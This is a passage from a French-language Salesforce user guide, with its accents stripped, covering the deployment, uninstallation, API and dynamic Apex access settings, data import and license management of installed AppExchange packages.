propos de l'API et de l'accs Apex dynamique dans les packages

Dploiement de packages installs

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dployer des sous-applications :

Personnaliser l'application

Une fois un package install dans Force.com AppExchange, les composants stocks dans des dossiers, tels que les rapports ou
les tableaux de bord, sont immdiatement mis la disposition des utilisateurs en raison de leurs paramtres de dossier. Cependant,
certains composants, tels que des objets personnaliss, sont masqus ou inactifs. Ils doivent tre activs l'aide du processus
de dploiement du package ou tre dploys individuellement.
Les composants suivants sont disponibles par dfaut en fonction de la configuration du dveloppeur :

Dclencheurs Apex
Modles d'e-mails
Dossiers
Remarque: Les dossiers partags avec des utilisateurs ou des groupes spcifiques sont installs avec cette option
active, cependant, aucun utilisateur ou groupe n'est slectionn dans l'organisation de l'abonn.

En-ttes
Types d'enregistrement
Rgles de validation

Les composants suivants ne sont pas disponibles par dfaut et doivent tre activs l'aide du processus de dploiement du
package ou tre dploys (activs) individuellement :

Objets personnaliss
Types de rapport personnalis
Des rgles de workflow

Une fois les personnalisations requises pour votre organisation effectues, dployez les objets personnaliss installs, puis activez
les rgles de workflow. Pour obtenir des conseils sur la personnalisation des packages et de leurs composants avant le dploiement,
reportez-vous Configuration des packages installs la page 1012. Les packages dploys sont mis la disposition des utilisateurs
de l'organisation, accompagns des paramtres de profil et de prsentation de page appropris.

Packages installs

Guide de l'utilisateur | Packages installs | 1016

Si vous disposez de l'autorisation Personnaliser l'application , vous pouvez dployer tous les composants d'un package
install :
1.
2.
3.
4.

Cliquez sur Configuration Afficher les packages installs.

Slectionnez le package dployer.
Cliquez sur Dployer.
Cliquez sur Dployer pour confirmer ou Annuler pour revenir au dtail du package.

Voir aussi :
Installation d'un package
Configuration des packages installs
propos de l'API et de l'accs Apex dynamique dans les packages

propos de l'API et de l'accs Apex dynamique dans les packages

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Les composants d'un package accdent via un Apex dynamique et l'API aux objets standard et personnaliss de l'organisation
dans laquelle ils sont installs. Les dveloppeurs de packages Force.com AppExchange destins des clients externes (galement
appels dveloppeurs ou partenaires tiers) peuvent limiter cet accs. La restriction d'accs rend les packages plus srs installer
pour les administrateurs. De mme, les administrateurs qui installent de tels packages peuvent souhaiter limiter cet accs aprs
l'installation, mme si les dveloppeurs du package ne l'ont pas fait, et ce pour amliorer la scurit.
Accs API est un paramtre de package contrlant l'accs Apex dynamique et l'accs API des commandes s-control et d'autres

composants d'un package des objets standard et personnaliss. Le paramtre s'affiche pour le dveloppeur et l'installateur
sur la page de dtails du package. Avec ce paramtre :

Le dveloppeur d'un package AppExchange peut restreindre laccs API d'un package avant de le tlcharger vers Force.com
AppExchange. Une fois le package restreint, ses composants reoivent des sessions Apex etAPI limites aux objets
personnaliss du package. Le dveloppeur peut galement activer l'accs des objets standard spcifiques, ainsi qu'aux
objets personnaliss d'autres packages dont ce package dpend.
L'installateur d'un package peut accepter ou refuser les privilges daccs du package lors de l'installation du package au
sein de son entreprise.
Aprs l'installation, un administrateur peut tout moment modifier l'accs Apex et l'accs API d'un package. L'installateur
peut galement activer l'accs des objets supplmentaires tels que des objets personnaliss crs dans l'organisation de
l'installateur ou des objets installs par des packages non associs.

Deux options sont possibles pour le paramtre Accs API :

La valeur par dfaut Illimit, qui donne aux composants du package le mme accs API aux objets standard que
l'utilisateur connect lorsque le composant envoie une demande l'API. Les scripts Apex sont excuts en mode systme.
L'accs illimit donne au script Apex un accs en lecture tous les objets standard et personnaliss.
Limit, qui permet l'administrateur de slectionner les objets standard auxquels les composants ont accs dans le package.
Par ailleurs, les composants de packages restreints ne peuvent accder aux objets personnaliss du package actuel que si le
profil utilisateur leur permet d'y accder.

Packages installs

Guide de l'utilisateur | Packages installs | 1017

Observations sur les accs API et Apex dynamique dans les packages
Par dfaut, les scripts Apex dynamiques peuvent accder uniquement aux composants inclus avec eux dans le package. Pour
fournir l'accs des objets standard non inclus dans le package, le dveloppeur soit dfinir l'Accs API.
1. Slectionnez Configuration Crer Packages.
2. Slectionnez le package qui contient un script Apex dynamique qui doit accder des objets standard dans l'organisation
de l'installation.
3. Dans la liste associe Dtails du package, cliquez sur Activer les restrictions ou sur Limit, selon leur disponibilit.
4. Dfinissez le niveau d'accs (Lire, Crer, Modifier ou Supprimer) pour les objets auxquels les scripts Apex dynamiques
peuvent accder.
5. Cliquez sur Enregistrer.
La slection de Limit comme valeur du paramtre Accs API d'un package affecte les lments suivants :

L'accs API d'un package prvaut sur les autorisations suivantes accordes au profil d'un utilisateur :
-

Apex - Auteur
Personnaliser l'application
Modifier les modles HTML
Modifier les champs en lecture seule
Grer la facturation
Grer les centres d'appels
Grer les catgories
Grer les types de rapport personnalis
Grer les tableaux de bord
Grer les en-ttes
Grer les licences de package
Grer les documents publics
Grer les vues de liste publique
Grer les rapports publics
Grer les modles publics
Gestion les utilisateurs
Transfrer l'enregistrement
Utiliser les assistants de rattribution de l'quipe
Afficher la configuration
Exportation hebdomadaire de donnes

Si les accs Lire, Crer, Modifier et Supprimer ne sont pas slectionns dans le paramtre d'accs de l'API des
objets, les utilisateurs n'ont pas accs ces objets partir des composants du package, mme s'ils disposent des autorisations
Modifier toutes les donnes et Afficher toutes les donnes .
Salesforce.com refuse l'accs des requtes de service Web et executeanonymous provenant d'un package AppExchange
dont l'accs est Limit. Pour plus d'informations sur executeanonymous et pour accder aux services Web avec Apex,
reportez-vous au manuel Force.com Apex Code Developer's Guide.

Les observations suivantes s'appliquent galement l'accs API dans les packages :

Les rgles de workflow et les dclencheurs Apex se dclenchent quel que soit l'accs API d'un package.
Si un composant figure dans plusieurs packages d'une organisation, l'accs API est illimit pour ce composant dans tous
les packages de l'organisation, quel que soit le paramtre d'accs.
Si Salesforce.com introduit un nouvel objet standard suite la slection d'un accs limit pour un package, l'accs au nouvel
objet standard n'est pas accord par dfaut. Vous devez modifier le paramtre d'accs limit pour inclure le nouvel objet
standard.

Packages installs

Guide de l'utilisateur | Dsinstaller un package | 1018

Lorsque vous mettez un package niveau, les modifications apportes l'accs API sont ignores mme si le dveloppeur
les a spcifies. Ceci permet de s'assurer que l'administrateur installant la mise niveau possde un contrle intgral. Au
cours de l'installation, les installateurs doivent tudier attentivement les modifications apportes l'accs des packages pour
chaque mise niveau et noter toutes les modifications acceptables. Ensuite, dans la mesure o ces modifications sont
ignores, l'administrateur doit appliquer manuellement toutes les modifications acceptables aprs l'installation d'une mise
niveau.
Les commandes S-controls sont servies par Salesforce.com et rendues en ligne dans Salesforce.com. En raison de cette
troite intgration, il existe plusieurs moyens par lesquels une commande s-control d'un package install peut tendre ses
privilges afin d'accorder des privilges complets l'utilisateur. Pour protger la scurit des entreprises qui installent des
packages, les commandes s-control prsentent les limites suivantes :
-

Pour les packages que vous dveloppez (c'est--dire qui ne sont pas installs partir de AppExchange), vous pouvez
ajouter des commandes s-control uniquement aux packages disposant de l'accs API illimit par dfaut. Lorsqu'un
package dispose d'une commande s-control, vous ne pouvez plus activer l'accs API limit.
Pour les packages que vous avez installs, vous pouvez activer des restrictions d'accs mme si le package contient des
commandes s-control. Toutefois, les restrictions d'accs ne fournissent qu'une protection limite pour les commandes
s-control. Salesforce.com recommande une bonne matrise de JavaScript dans une commande s-control avant de
dvelopper une restriction d'accs pour la scurit des commandes s-control.
Si un package install possde un accs API Limit, les mises niveau ne russiront que si la version mise niveau
ne contient aucune commande s-control. Si la version mise niveau contient des commandes s-control, vous devez
modifier l'accs API du package install et le remplacer par Illimit.

Voir aussi :
Installation d'un package
Configuration des packages installs
Dploiement de packages installs

Dsinstaller un package
Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dsinstaller des packages :

Tlcharger des packages AppExchange

Vous pouvez supprimer n'importe quel package install, y compris ses composants et ses donnes. Tout champ personnalis,
lien personnalis ou autre lment ajout la sous-application personnalise aprs l'installation est galement supprim.
Pour supprimer un package :
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Dsinstaller en regard du package supprimer.
3. Slectionnez Oui, je veux dsinstaller ce package et supprimer dfinitivement tous les
lments associs, puis cliquez sur Dsinstaller.
4. Aprs la dsinstallation, Salesforce.com cre automatiquement un fichier d'exportation contenant les donnes du package,
ainsi que toutes les notes et pices jointes associes. Lorsque l'installation est termine, Salesforce.com envoie un e-mail

Packages installs

Guide de l'utilisateur | Dsinstaller un package | 1019

contenant un lien vers le fichier d'exportation l'utilisateur qui ralise la dsinstallation. Le fichier d'exportation et les notes
et pices jointes associes sont rpertoris sous la liste des packages installs. Nous vous conseillons de stocker le fichier
ailleurs car il est disponible seulement pendant une dure limite la fin de la dsinstallation.
Conseil: Si vous rinstallez le package ultrieurement et souhaitez rimporter les donnes qu'il contient,
reportez-vous Importation des donnes d'un package la page 1025.

Remarques sur la dsinstallation de packages

Si vous dsinstallez un package contenant un objet personnalis, les composants de cet objet personnalis sont galement
supprims. Ceci inclut les champs personnaliss, les rgles de validation, les commandes s-control, les boutons et liens
personnaliss ainsi que les rgles de workflow et les processus d'approbation.
Vous ne pouvez pas dsinstaller un package s'il contient un composant rfrenc par un autre composant qui ne doit pas
tre dsinstall. Par exemple :
-

Lorsqu'un package install inclut un composant sur un objet standard et que ce composant est rfrenc par un autre
composant, Salesforce.com vous empche de dsinstaller le package. En d'autres termes, vous pouvez installer un package
incluant un champ utilisateur personnalis et concevoir une rgle de workflow qui se dclenche lorsque ce champ
comporte une valeur spcifique. La dsinstallation du package empcherait votre workflow de fonctionner.
Si vous avez install deux packages non associs incluant chacun un objet personnalis et qu'un composant d'objet
personnalis de la premire fait rfrence un composant de la seconde, Salesforce.com vous empche de dsinstaller
le package. Cela signifie que vous pouvez installer une sous-application de gnration de rapports sur les dpenses
incluant un champ utilisateur personnalis et crer une rgle de validation sur un autre objet personnalis install qui
rfrence ce champ utilisateur personnalis. Toutefois, dsinstaller la sous-application des rapports de dpenses
empcherait la rgle de validation de fonctionner.
Lorsqu'un dossier install contient des composants que vous avez ajouts aprs l'installation, Salesforce.com vous
empche de dsinstaller le package.
Lorsqu'un en-tte install est utilis pour un modle d'e-mail que vous avez ajout aprs l'installation, Salesforce.com
vous empche de dsinstaller le package.

Les fichiers d'exportation de dsinstallation contiennent des donnes de sous-application personnalise pour votre package,
l'exception de certains composants comme les documents et les valeurs de champs de formule.

Voir aussi :
Installation d'un package
Gestion des installations de packages
Gestion des licences de packages installs
Mise niveau des packages
Importation des donnes d'un package

Packages installs

Guide de l'utilisateur | Gestion des installations de packages | 1020

Gestion des installations de packages

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dsinstaller des packages :

Tlcharger des packages AppExchange

Pour attribuer les licences pour un package gr :

Grer les licences de package

Pour tlcharger ou supprimer le fichier d'exportation d'un

package dsinstall :

Tlcharger des packages AppExchange

Remarque: Certains diteurs figurent actuellement dans un programme pilote pour les mises niveau automatiques
de packages grs. L'diteur peut ainsi mettre automatiquement niveau le package pour vous. Le numro de version
et le comportement de votre package install peuvent changer suite une mise niveau automatique. Pour plus
d'informations, contactez l'diteur du package.
Affichez la liste des packages installs depuis Force.com AppExchange et les fichiers d'exportation de donnes des packages
dsinstalls en cliquant sur Configuration Afficher les packages installs. Ces packages peuvent tre grs ou non grs.
Remarque: Salesforce.com prsente les informations de licence des packages grs seulement. Pour les packages non
grs, les champs en rapport avec la licence, tels que Licences autorises, Licences utilises, et Date d'expiration,
affichent la valeur N/D .
partir de cette liste :

Cliquez sur Dsinstaller pour retirer le package et tous ses composants de votre organisation Salesforce.com. Reportez-vous
Dsinstaller un package la page 1018.
Cliquez sur Grer les licences pour attribuer des licences disponibles des utilisateurs de votre entreprise. Cette option
n'est disponible que pour les packages grs avec une licence. Pour plus d'informations, consultez la rubrique Gestion de
licences pour des packages installs la page 1026.
Remarque: Si vous avez achet une licence de site ou si le package gr n'est pas couvert par une licence,
Salesforce.com attribue automatiquement des licences tous vos utilisateurs et la gestion des licences n'est pas
disponible. Vos utilisateurs peuvent utiliser le package, condition de disposer du profil et des autorisations
appropris.

Cliquez sur Configure si l'diteur du package a inclus un lien vers un site Web externe contenant des informations sur la
configuration du package.
Cliquez sur le nom du package pour afficher ses dtails.
Consulter l'diteur du package.
Consulter le statut des licences pour ce package. Valeurs disponibles :
-

Evaluation
Actif
Suspendu
Expir

Packages installs

Guide de l'utilisateur | Gestion des installations de packages | 1021

Gratuit

Ce champ n'est affich que si le package est gr et fait l'objet d'une licence.

Suivre le nombre de licences disponibles (Licences autorises) et le nombre de licences qui sont assignes des
utilisateurs (Licences utilises).
Consulter la date d'expiration de vos licences pour ce package.
Consulter la date laquelle vos applications ont t installes.
Remarque: Si vous n'avez pas install un package gr faisant l'objet d'une licence, les champs diteur, Statut,
Licences autorises, Licences utilises, et Date d'expiration ne s'affichent pas.

Aprs la dsinstallation, Salesforce.com cre automatiquement un fichier d'exportation contenant les donnes du package,
ainsi que toutes les notes et pices jointes associes. Lorsque l'installation est termine, Salesforce.com envoie un e-mail
contenant un lien vers le fichier d'exportation l'utilisateur qui ralise la dsinstallation. Le fichier d'exportation et les notes
et pices jointes associes sont rpertoris sous la liste des packages installs. Nous vous conseillons de stocker le fichier ailleurs
car il est disponible seulement pendant une dure limite la fin de la dsinstallation. partir de cette liste :

Cliquez sur Tlcharger pour ouvrir ou stocker le fichier d'exportation.

Cliquez sur Suppr pour supprimer le fichier d'exportation.

Voir aussi :
Installation d'un package
Dsinstaller un package
Gestion des licences de packages installs
Mise niveau des packages
Affichage des dtails d'un package install
Importation des donnes d'un package

Affichage des dtails d'un package install

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dsinstaller des packages :

Tlcharger des packages AppExchange

Pour grer les licences utilisateur pour un package

AppExchange :

Grer les licences de package

Les dtails du package affichent des informations essentielles sur le package install partir de Force.com AppExchange. Pour
accder la page de dtails du package, cliquez sur Configuration Afficher les packages installs, puis sur le nom du
package que vous souhaitez afficher.
partir de cette page, vous pouvez :

Packages installs

Guide de l'utilisateur | Gestion des installations de packages | 1022

Cliquez sur Dsinstaller pour retirer le package et tous ses composants de votre organisation Salesforce.com. Reportez-vous
Dsinstaller un package la page 1018.
Si vous disposez le l'autorisation Personnaliser l'application, cliquez sur Dployer afin de dployer le package
pour vos utilisateurs. Cette option n'est pas disponible si vous avez pralablement dploy ce package. Pour plus
d'informations sur le dploiement des packages, reportez-vous Dploiement des packages installs la page 1015.
Cliquez sur Grer les licences pour attribuer des licences disponibles des utilisateurs de votre entreprise. Cette option
n'est disponible que pour les packages grs avec une licence. Reportez-vous Gestion de licences pour les packages installs
la page 1026.
Remarque: Si vous avez achet une licence de site ou si le package gr n'est pas couvert par une licence,
Salesforce.com attribue automatiquement des licences tous vos utilisateurs et la gestion des licences n'est pas
disponible. Vos utilisateurs peuvent utiliser le package, condition de disposer du profil et des autorisations
appropris.

Vous pouvez cliquer sur Afficher les dpendances et passer en revue une liste de composants bass sur d'autres composants,
permissions ou prfrences au sein du package. Une entit peut notamment comprendre une commande s-control, un
champ standard ou personnalis ou un paramtre l'chelle de l'entreprise tel que multidevise. Votre package ne peut pas
tre install sauf si le programme d'installation dispose des composants rpertoris activs ou installs. Voir Prsentation
des dpendances la page 853 pour plus d'informations propos des dpendances. Cliquez sur Termin pour revenir la
page des dtails du package.

Affichage des packages installs

La page relative au package install prsente les attributs de package suivants (par ordre alphabtique) :
Attribut

Description

Action

Peut correspondre deux options :

Dsinstaller
Grer les licences

Licences autorises

Le nombre total de licences que vous avez achetes pour ce

package. La valeur est Unlimited si vous disposez d'une
licence de site pour ce package. Ce champ n'est affich que si
le package est gr et fait l'objet d'une licence.

Description

Description dtaille du package.

Date d'installation

Date laquelle le package a t install.

Date d'expiration

La date d'expiration de cette licence, en fonction de vos

conditions gnrales. La date d'expiration est N'expire pas
si le package ne doit jamais expirer.Ce champ n'est affich
que si le package est gr et fait l'objet d'une licence.

Espace de noms

Identificateur alphanumrique de 15 caractres qui distingue

un package et son contenu de ceux d'autres dveloppeurs dans
AppExchange.

Nom du package

Nom du package, fourni par l'diteur.

diteur

L'diteur d'un package est l'utilisateur ou l'organisation

Salesforce.com qui l'a publi sur AppExchange. Ce champ

Packages installs

Attribut

Guide de l'utilisateur | Gestion des installations de packages | 1023

Description
n'est affich que si le package est gr et fait l'objet d'une
licence.

Accs distance

Liste d'applications d'accs distance qui peuvent accder aux

donnes Salesforce.com d'un utilisateur une fois l'utilisateur
et l'application vrifis.

Statut

Le statut d'un package. Valeurs disponibles :

Evaluation
Actif
Suspendu
Expir
Gratuit
Ce champ s'affiche uniquement si le package est gr et fait
l'objet d'une licence.

Licences utilises

Le nombre total de licences qui sont dj attribues des

utilisateurs. Ce champ n'est affich que si le package est gr
et fait l'objet d'une licence.

Nom de la version

Nom de cette version du package. Le nom de la version

correspond au nom marketing d'une version spcifique d'un
package. Ce nom est plus prcis que le Numro de version.

Affichage des dtails d'un package install

La page de dtails relative au package install prsente les attributs de package suivants (par ordre alphabtique) :
Attribut

Description

Accs API

Le type d'accs que l'API et les scripts Apex dynamique dont

disposent les composants de package. Le paramtre par dfaut
est Illimit, ce qui signifie que tous les composants du package
ayant accs l'API disposent du mme accs que l'utilisateur
connect. Cliquez sur Activer les restrictions ou sur
Dsactiver les restrictions pour modifier les autorisations
d'accs API et Apex dynamique pour un package.
Pour plus d'informations sur l'accs API et l'accs dont les
scripts dynamiques Apex disposent pour des composants de
package grs, reportez-vous Gestion de l'accs API et Apex
dynamique dans les packages la page 715.

Description

Description dtaille du package.

Numro de la premire version installe

La premire version installe du package dans votre

organisation. Ce champ n'est disponible que pour les packages
grs. Vous pouvez rfrencer cette version ainsi que les
versions de package ultrieures que vous avez installes. Si
vous signalez un problme avec un package gr, vous devez
inclure le numro de version dans ce champ en contactant
l'diteur.

Packages installs

Guide de l'utilisateur | Gestion des installations de packages | 1024

Attribut

Description

Install par

Nom de l'utilisateur qui a install ce package dans votre

entreprise.

Modifi par

Nom du dernier utilisateur ayant modifi ce package, date et

heure incluses.

Espace de noms

Identificateur alphanumrique de 15 caractres qui distingue

un package et son contenu de ceux d'autres dveloppeurs dans
AppExchange.

Nom du package

Nom du package, fourni par l'diteur.

Type de package

Indique si le package est gr ou non gr.

diteur

L'diteur d'un package est l'utilisateur ou l'organisation

Salesforce.com qui l'a publi sur AppExchange. Ce champ
n'est affich que si le package est gr et fait l'objet d'une
licence.

Nom de la version

Nom de cette version du package. Le nom de la version

correspond au nom marketing d'une version spcifique d'un
package. Ce nom est plus prcis que le Numro de version.

Numro de version

Numro de la dernire version du package install. Le format

est
numroPrincipal.numroSecondaire.numroCorrectif,
tel que 2.1.3. Le numro de version reprsente la version de
la publication du package. Le Nom de version est plus
prcis pour la version. Notez que le numroCorrectif est
gnr uniquement lors de la cration d'un correctif. En
l'absence de correctif, le numroCorrectif est zro (0).

Vous pouvez galement afficher une liste des composants inclus dans le package install. Les informations suivantes sur les
composants s'affichent (par ordre alphabtique) :
Attribut

Description

Nom

Affiche le nom du composant.

Objet parent

Affiche le nom de l'objet parent auquel un composant est

associ. Par exemple, un objet personnalis est le parent d'un
champ personnalis.

Type

Affiche le type du composant.

Voir aussi :
Gestion des installations de packages
Importation des donnes d'un package

Packages installs

Guide de l'utilisateur | Gestion des installations de packages | 1025

Importation des donnes d'un package

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour importer les donnes d'un package Force.com
AppExchange :

Vous devez disposer des autorisations requises pour pouvoir

utiliser l'outil d'importation que vous slectionnez, tel que
l'assistant d'importation ou Data Loader.

Lorsque vous dsinstallez un package Force.com AppExchange, Salesforce.com cre automatiquement un fichier d'exportation
contenant les donnes du package, ainsi que toutes les notes et pices jointes associes. Si vous dcidez de rinstaller le package,
vous pouvez importer ces donnes.
Pour importer les donnes de packages AppExchange, utilisez l'un des outils suivants selon l'dition que vous possdez :

Pour Group Edition, utilisez l'assistant d'importation appropri.

Pour Professional Edition, utilisez l'assistant d'importation appropri ou n'importe quel outil d'intgration des partenaires
agrs AppExchange compatible l'adresse suivante : http://sites.force.com/appexchange.
Pour Enterprise Edition, Developer Edition et Unlimited Edition, utilisez le module Data Loader.

Remarques relatives l'importation des donnes des packages AppExchange

Salesforce.com convertit les champs de date en champs de date/heure lors de l'exportation. Convertissez les champs
appropris en champs de date avant l'importation.
Salesforce.com exporte tous les champs de date/heure l'heure du mridien de Greenwich. Avant d'importer ces champs,
convertissez-les au fuseau horaire appropri.
La valeur des champs de numrotation automatique peut tre diffrente lors de l'importation. Afin de conserver les anciennes
valeurs, crez un champ de numrotation automatique personnalis sur un objet personnalis avant d'importer les donnes.
Salesforce.com met jour les champs systme tels que Date de cration et Date de la dernire modification
lors de l'importation. Afin de conserver les anciennes valeurs de ces champs, contactez le support salesforce.com.
Les relations ne sont pas incluses dans le fichier d'exportation. Recrez les relations de recherche ou principal-dtails aprs
l'importation de vos donnes.
Les ID de type d'enregistrement sont exports, contrairement au nom du type d'enregistrement.
L'historique des champs n'est pas export.
Recrez les personnalisations effectues dans le package aprs l'installation.

Voir aussi :
Gestion des installations de packages
Affichage des dtails d'un package install
Dsinstaller un package
Installation d'un package

Packages installs

Guide de l'utilisateur | Gestion des licences de packages installs | 1026

Gestion des licences de packages installs

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les licences pour un package AppExchange :

Grer les licences de package

Lorsque vous installez un package gr dans votre entreprise partir de Force.com AppExchange, vous achetez un certain
nombre de licences auprs du dveloppeur ou de l'diteur du package. Vous pouvez attribuer chaque licence un utilisateur
dans votre entreprise. Si vous attribuez toutes les licences disponibles, mais souhaitez en octroyer d'autres utilisateurs, vous
pouvez raffecter une licence ou en acheter d'autres. Pour obtenir davantage de licences, constactez l'diteur du package gr.
Remarque: Si vous avez achet une licence de site ou si le package gr n'est pas couvert par une licence, Salesforce.com
attribue automatiquement des licences tous vos utilisateurs et la gestion des licences n'est pas disponible. Vos utilisateurs
peuvent utiliser le package, condition de disposer du profil et des autorisations appropris.
1. Cliquez sur Configuration Afficher les packages installs.
2. Cliquez sur Grer les licences en regard du package.
Remarque: Pour attribuer des licences pour un package, vous devez avoir accs ce dernier et possder au moins
une licence disponible.

Pour attribuer des licences d'autres utilisateurs, cliquez sur Ajouter des utilisateurs. Pour plus d'informations, consultez
la rubrique Attribution de licences pour les packages installs la page 1028.
Pour supprimer la licence d'un utilisateur, cliquez sur Supprimer en regard du nom de l'utilisateur. Pour supprimer les
licences de plusieurs utilisateurs, cliquez sur Supprimer plusieurs utilisateurs. Pour plus d'informations, consultez la
rubrique Suppression de licences pour les packages installs la page 1029.
Cliquez sur n'importe quel en-tte de colonne pour trier les utilisateurs par ordre ascendant en utilisant les donnes
figurant dans cette colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
Si ces options sont disponibles, slectionnez moins ou plus pour consulter une liste plus courte ou plus longue.

Voir aussi :
Installation d'un package
Dsinstaller un package
Gestion des installations de packages
Mise niveau des packages
propos des packages grs
Attribution de licences pour les packages grs
Attribution de licences de packages installs
Suppressions de licences de packages installs
Rponse aux demandes de gestionnaire de licences

Packages installs

Guide de l'utilisateur | Gestion des licences de packages installs | 1027

Attribution de licences pour les packages grs

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les utilisateurs :

Grer les utilisateurs

Pour grer les licences pour un package AppExchange :

Grer les licences de package

Lorsque vous installez un package gr dans votre entreprise partir de Force.com AppExchange, vous achetez un certain
nombre de licences auprs du dveloppeur ou de l'diteur du package. Vous pouvez attribuer chaque licence un utilisateur
dans votre entreprise. Si vous attribuez toutes les licences disponibles, mais souhaitez en octroyer d'autres utilisateurs, vous
pouvez raffecter une licence ou en acheter d'autres. Pour obtenir davantage de licences, constactez l'diteur du package gr.
La liste lie aux packages grs dans la page des dtails de l'utilisateur rpertorie tous les packages grs qui sont attribus
cet utilisateur. L'attribution d'une licence pour un package gr met celui-ci la disposition de l'utilisateur dans Salesforce.com.
Les packages non grs ne figureront pas sur cette liste, puisque vous ne pouvez pas attribuer de licence pour eux.
Pour attribuer une licence un utilisateur pour l'un des packages grs disponibles, procdez comme suit :
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs.
2. Cliquez sur Attribuer des licences dans la liste des packages grs.
3. Slectionnez le package que vous souhaitez attribuer l'utilisateur. Tous les packages grs disponibles sont rpertoris
dans la liste des packages non attribus. Aprs la slection d'un package, Salesforce.com le dplace automatiquement vers
la liste Packages slectionns.
La liste des packages non attribus affiche tous les packages auxquels cet utilisateur pourrait accder si une licence lui tait
attribue. Les packages n'apparaissent pas dans cette liste s'ils ne sont pas grs, pas installs ou encore s'ils sont en cours
d'utilisation ou non disponibles.

Cliquez sur une lettre pour afficher les packages commenant par cette lettre.
Cliquez sur Tous pour afficher tous les packages grs disponibles.
Cliquez sur slection affiche pour slectionner tous les packages affichs dans la liste des packages non attribus de
la page en cours, en les ajoutant la liste des packages slectionns ci-dessous.
Cliquez sur dslection affiche ou sur dslectionner tout pour dplacer les packages de la zone des packages
slectionns vers celle des packages non attribus.

4. Cliquez sur Ajouter.

Pour rvoquer la licence de cet utilisateur, cliquez sur le lien Supprimer en regard du nom du package concern.

Voir aussi :
propos des packages grs
Gestion des licences de packages installs
Attribution de licences de packages installs
Suppressions de licences de packages installs

Packages installs

Guide de l'utilisateur | Gestion des licences de packages installs | 1028

Attribution de licences de packages installs

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les licences pour une sous-application AppExchange Grer les licences de package
:

Attribution de licences aux utilisateurs

Pour attribuer des licences des utilisateurs Force.com AppExchange :
Remarque: Si vous avez achet une licence de site ou si le package gr n'est pas couvert par une licence, Salesforce.com
attribue automatiquement des licences tous vos utilisateurs et la gestion des licences n'est pas disponible. Vos utilisateurs
peuvent utiliser le package, condition de disposer du profil et des autorisations appropris.
1. Cliquez sur Configuration Afficher les packages installs pour trouver le package install qui possde des licences
disponibles.
2. Cliquez sur le lien Grer les licences en regard du nom du package.
3. Cliquez sur Ajouter des utilisateurs.
4. Slectionnez une vue dans la liste droulante ou cliquez sur Crer une nouvelle vue pour crer une vue personnalise ; voir
Cration de vues Listes personnalises la page 1538.
5. Cliquez sur une lettre pour filtrer les utilisateurs dont le nom commence par cette lettre.
6. Cliquez sur Tout pour afficher tous les utilisateurs correspondant aux critres de la vue actuelle.
7. Slectionnez les utilisateurs. Les utilisateurs slectionns sont rpertoris dans la liste Slectionns.
8. Lorsque la liste Slectionns comprend tous les utilisateurs auxquels vous souhaitez attribuer des licences, cliquez sur
Ajouter.
Remarque: Vous pouvez aussi ajouter un seul utilisateur partir de la page des dtails de l'utilisateur. Reportez-vous
Modification des utilisateurs la page 96.

Voir aussi :
propos des packages grs
Gestion des licences de packages installs
Attribution de licences pour les packages grs
Suppressions de licences de packages installs

Packages installs

Guide de l'utilisateur | Gestion des licences de packages installs | 1029

Suppressions de licences de packages installs

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les licences pour un package AppExchange :

Grer les licences de package

Pour supprimer des licences pour un package Force.com AppExchange de plusieurs utilisateurs :
1.
2.
3.
4.
5.
6.
7.
8.

Cliquez sur Configuration Afficher les packages installs.

Cliquez sur Grer les licences en regard du nom du package.
Cliquez sur Supprimer plusieurs utilisateurs.
Facultatif : Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez
sur Crer une nouvelle vue pour dfinir une vue personnalise.
Cliquez sur une lettre pour filtrer les utilisateurs dont le nom commence par cette lettre.
Cliquez sur Tout pour afficher tous les utilisateurs correspondant aux critres de la vue actuelle.
Slectionnez les utilisateurs auquels vous souhaitez supprimer la licence.
Lorsque la zone Slectionns pour suppression comprend tous les utilisateurs dont vous souhaitez rvoquer les licences,
cliquez sur Supprimer.

Pour supprimer les licences pour un package AppExchange d'un seul utilisateur, deux options s'offrent vous.
1. Cliquez sur Configuration Gestion des utilisateurs Utilisateurs et cliquez sur Supprimer en regard du package
dans la liste des packages grs.
2. Cliquez sur Configuration Afficher les packages installs, puis cliquez sur Gestion des licences en regard du nom du
package et cliquez sur Supprimer en regard de l'utilisateur.

Voir aussi :
propos des packages grs
Gestion des licences de packages installs
Attribution de licences pour les packages grs
Attribution de licences de packages installs

Packages installs

Guide de l'utilisateur | Gestion des licences de packages installs | 1030

Rponse aux demandes de gestionnaire de licences

Disponible avec : Developer Edition
Les tlchargements et installations de packages sont disponibles dans Group Edition, Professional Edition, Enterprise
Edition, Unlimited Edition et Developer Edition.

Autorisations utilisateur requises

Pour rpondre des demandes d'inscription :

Personnaliser l'application

Un gestionnaire de licences est une entreprise Salesforce.com responsable du suivi de tous les abonns Salesforce.com qui
installent un packageAppExchange particulier. Les administrateurs Salesforce.com peuvent dsigner une autre entreprise
comme gestionnaire de licences de l'un de leurs packages. Le gestionnaire de licences ne doit pas ncessairement tre la mme
entreprise que celle charge de la gestion du package. Pour choisir une autre entreprise en tant que gestionnaire de licences,
vous n'avez besoin que d'une adresse e-mail (et pas d'un nom d'utilisateurSalesforce.com). Si un administrateur Salesforce.com
dcide de faire appel un gestionnaire de licences tiers et saisit votre adresse e-mail, vous recevez une demande de gestion de
licences par e-mail.
